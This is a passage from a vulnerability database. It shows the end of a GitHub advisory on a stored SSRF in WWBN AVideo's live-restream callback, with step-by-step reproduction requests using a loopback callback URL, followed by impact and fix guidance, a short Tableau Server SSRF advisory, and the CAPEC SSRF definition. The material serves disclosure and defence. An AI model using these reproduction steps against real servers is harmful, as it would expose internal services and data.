create a live transmission history row.\n4. Call:\n\n```text\nGET /plugin/Live/view/getRestream.json.php?live_transmitions_history_id=\u003cid\u003e\u0026restreams_id=\u003cid\u003e\n```\n\n5. Extract `tokenForAction` from the returned URL.\n6. Exchange it for `responseToken` via:\n\n```text\nPOST /plugin/Live/view/Live_restreams/verifyTokenForAction.json.php\n```\n\n7. Store a loopback callback URL:\n\n```text\nPOST /plugin/Live/view/Live_restreams_logs/add.json.php\nrestreamerURL=http://127.0.0.1:9999/index.php\n```\n\n8. Trigger `getRestream.json.php` again.\n9. Observe that the returned response now contains the JSON body from the loopback-only service.\n\n## Impact\n\nAn authenticated streamer can cause the AVideo server to send HTTP requests to loopback or internal services and return the response through normal application endpoints by storing a malicious `restreamerURL` in the restream log flow. Because the callback destination was not constrained to trusted restreamer endpoints, the application could be used as a proxy to internal-only services that trust network locality. Successful exploitation can expose local admin panels, internal-only APIs, cloud metadata services if reachable, or other sensitive internal responses available from the application host.\n\n\n## Recommended fix\n\n- Validate `restreamerURL` against explicitly configured restreamer endpoints at storage time\n- Re-validate the stored callback URL before server-side fetch\n- Bind `responseToken` to the expected restream row and callback host\n- Apply SSRF validation to the initial destination of every server-side fetch, not only redirect targets\n- Ignore or reject user-supplied callback hosts that do not match trusted configuration",
"id": "GHSA-q4x6-6mm2-crg9",
"modified": "2026-04-08T00:08:42Z",
"published": "2026-04-08T00:08:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-q4x6-6mm2-crg9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39368"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "WWBN AVideo has a Live restream log callback flow enabling stored SSRF to internal services"
}
GHSA-Q52C-QM5X-CGWJ
Vulnerability from github – Published: 2025-07-25 21:33 – Updated: 2025-07-25 21:33Server-Side Request Forgery (SSRF) vulnerability in Salesforce Tableau Server on Windows, Linux (Amazon S3 Connector modules) allows Resource Location Spoofing. This issue affects Tableau Server: before 2025.1.3, before 2024.2.12, before 2023.3.19.
{
"affected": [],
"aliases": [
"CVE-2025-52454"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-25T19:15:41Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Salesforce Tableau Server on Windows, Linux (Amazon S3 Connector modules) allows Resource Location Spoofing. This issue affects Tableau Server: before 2025.1.3, before 2024.2.12, before 2023.3.19.",
"id": "GHSA-q52c-qm5x-cgwj",
"modified": "2025-07-25T21:33:50Z",
"published": "2025-07-25T21:33:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52454"
},
{
"type": "WEB",
"url": "https://help.salesforce.com/s/articleView?id=005105043\u0026type=1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.